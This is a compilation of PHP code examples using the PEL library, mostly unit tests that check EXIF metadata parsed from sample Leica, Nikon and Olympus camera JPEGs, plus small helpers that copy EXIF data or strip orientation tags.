        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 2);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c765uz-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
示例#20
0
 /**
  * Copy the source image's EXIF information to the new file in the cache
  *
  * @since 2.0
  * @uses PEL
  * @param string $cacheFilePath
  * @return mixed string contents of image on success, false on failure
  */
 private function copyEXIF($cacheFilePath)
 {
     $pelJpegLib = dirname(__FILE__) . '/../pel/src/PelJpeg.php';
     // Linking to pel library will break MIT license
     // Make the EXIF copy optional
     if (file_exists($pelJpegLib)) {
         // Make sure to suppress strict warning thrown by PEL
         require_once $pelJpegLib;
         $jpeg = new PelJpeg($this->getSource()->getFullPath());
         $exif = $jpeg->getExif();
         if ($exif !== null) {
             $jpeg = new PelJpeg($cacheFilePath);
             $jpeg->setExif($exif);
             $imageData = $jpeg->getBytes();
             if (!file_put_contents($cacheFilePath, $imageData)) {
                 return false;
             }
             return $imageData;
         }
     }
     return file_get_contents($cacheFilePath);
 }
示例#21
0
function jpegToTest($name, PelJpeg $jpeg)
{
    $exif = $jpeg->getExif();
    println('$exif = %s->getExif();', $name);
    if ($exif == null) {
        println('$this->assertNull($exif);');
    } else {
        jpegContentToTest('$exif', $exif);
    }
}
示例#22
0
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/leica-d-lux.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 10);
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'LEICA');
        $this->assertEqual($entry->getText(), 'LEICA');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'D-LUX');
        $this->assertEqual($entry->getText(), 'D-LUX');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'top - left');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(305);
        // Software
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'Ver1.06');
        $this->assertEqual($entry->getText(), 'Ver1.06');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1099994128);
        $this->assertEqual($entry->getText(), '2004:11:09 09:55:28');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        $entry = $ifd0->getEntry(50341);
        // PrintIM
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'PrintIM0250d	
¬
Ä€	\'\'7\'°\'\'^\'‹\'Ë\'å\'');
        $this->assertEqual($entry->getText(), '(undefined)');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 37);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 10, 1 => 1000));
        $this->assertEqual($entry->getText(), '1/100 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 97, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/9.7');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Normal program');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 100);
        $this->assertEqual($entry->getText(), '100');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1099994128);
        $this->assertEqual($entry->getText(), '2004:11:09 09:55:28');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1099994128);
        $this->assertEqual($entry->getText(), '2004:11:09 09:55:28');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 21, 1 => 10));
        $this->assertEqual($entry->getText(), '21/10');
        $entry = $ifd0_0->getEntry(37377);
        // ShutterSpeedValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 6644, 1 => 1000));
        $this->assertEqual($entry->getText(), '6644/1000 sec. (APEX: 10)');
        $entry = $ifd0_0->getEntry(37378);
        // ApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 66, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/9.8');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 30, 1 => 10));
        $this->assertEqual($entry->getText(), '30/10');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 3);
        $this->assertEqual($entry->getText(), 'Spot');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Daylight');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 24);
        $this->assertEqual($entry->getText(), 'Flash did not fire, auto mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 88, 1 => 10));
        $this->assertEqual($entry->getText(), '8.8 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'LEICA0100 !r^"WBb6¹’¨ŒÜ KœÕ;D«l¸AF–Ž ST$AE§L(	“Dà  
EP
');
        $this->assertEqual($entry->getText(), '256 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        $entry = $ifd0_0->getEntry(41495);
        // SensingMethod
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'One-chip color area sensor');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41729);
        // SceneType
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Directly photographed');
        $entry = $ifd0_0->getEntry(41730);
        // CFAPattern
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), '(undefined)');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
        $this->assertEqual($entry->getText(), '0/10');
        $entry = $ifd0_0->getEntry(41989);
        // FocalLengthIn35mmFilm
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 53);
        $this->assertEqual($entry->getText(), '53');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Standard');
        $entry = $ifd0_0->getEntry(41991);
        // GainControl
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41992);
        // Contrast
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41993);
        // Saturation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41994);
        // Sharpness
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41996);
        // SubjectDistanceRange
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Close view');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 2);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 5);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd1->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/leica-d-lux-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
        /* End of IFD $ifd1. */
        $this->assertTrue(count(Pel::getExceptions()) == 0);
示例#23
0
 /**
  * Strip orientation from EXIF data for an image at a path.
  *
  * @param $filePath
  *
  * @return bool
  */
 public function stripOrientationFromExifData($filePath)
 {
     if (!ImageHelper::canHaveExifData($filePath)) {
         return null;
     }
     $data = new \PelDataWindow(IOHelper::getFileContents($filePath));
     // Is this a valid JPEG?
     if (\PelJpeg::isValid($data)) {
         $jpeg = $file = new \PelJpeg();
         $jpeg->load($data);
         $exif = $jpeg->getExif();
         if ($exif) {
             $tiff = $exif->getTiff();
             $ifd0 = $tiff->getIfd();
             // Delete the Orientation entry and re-save the file
             $ifd0->offsetUnset(\PelTag::ORIENTATION);
             $file->saveFile($filePath);
         }
         return true;
     } else {
         return false;
     }
 }
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/nikon-e5000.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 9);
        $entry = $ifd0->getEntry(270);
        // ImageDescription
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), '          ');
        $this->assertEqual($entry->getText(), '          ');
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'NIKON');
        $this->assertEqual($entry->getText(), 'NIKON');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'E5000');
        $this->assertEqual($entry->getText(), 'E5000');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 300, 1 => 1));
        $this->assertEqual($entry->getText(), '300/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 300, 1 => 1));
        $this->assertEqual($entry->getText(), '300/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(305);
        // Software
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'E5000v1.6');
        $this->assertEqual($entry->getText(), 'E5000v1.6');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1021992832);
        $this->assertEqual($entry->getText(), '2002:05:21 14:53:52');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'centered');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 2);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 22);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 1642036, 1 => 100000000));
        $this->assertEqual($entry->getText(), '1/60 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 28, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/2.8');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Normal program');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 100);
        $this->assertEqual($entry->getText(), '100');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.1);
        $this->assertEqual($entry->getText(), 'Exif Version 2.1');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1021992832);
        $this->assertEqual($entry->getText(), '2002:05:21 14:53:52');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1021992832);
        $this->assertEqual($entry->getText(), '2002:05:21 14:53:52');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 3, 1 => 1));
        $this->assertEqual($entry->getText(), '3/1');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Unknown');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Flash did not fire.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 71, 1 => 10));
        $this->assertEqual($entry->getText(), '7.1 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '��
���
�
����
�"�*��2��D�JrCOLORFINE   AUTO        1AUTO  AF-C  :NORMAL      �"�AUTO  AUTO         OFF                           OFF  PrintIM0100
^	
�
�	\'\'�\'�\'\'^\'�\'�\'�\'');
        $this->assertEqual($entry->getText(), '604 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '                                                                                                                     ');
        $this->assertEqual($entry->getText(), '                                                                                                                     ');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 1600);
        $this->assertEqual($entry->getText(), '1600');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 1200);
        $this->assertEqual($entry->getText(), '1200');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41729);
        // SceneType
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Directly photographed');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $ifd0_1 = $ifd0->getSubIfd(3);
        // IFD GPS
        $this->assertIsA($ifd0_1, 'PelIfd');
        /* Start of IDF $ifd0_1. */
        $this->assertEqual(count($ifd0_1->getEntries()), 0);
        /* Sub IFDs of $ifd0_1. */
        $this->assertEqual(count($ifd0_1->getSubIfds()), 0);
        $this->assertEqual($ifd0_1->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_2 = $ifd0_1->getNextIfd();
        $this->assertNull($ifd0_2);
        /* End of IFD $ifd0_1. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/nikon-e5000-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
示例#25
0
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c765uz.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 11);
        $entry = $ifd0->getEntry(270);
        // ImageDescription
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA         ');
        $this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA         ');
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS CORPORATION');
        $this->assertEqual($entry->getText(), 'OLYMPUS CORPORATION');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'C765UZ');
        $this->assertEqual($entry->getText(), 'C765UZ');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'top - left');
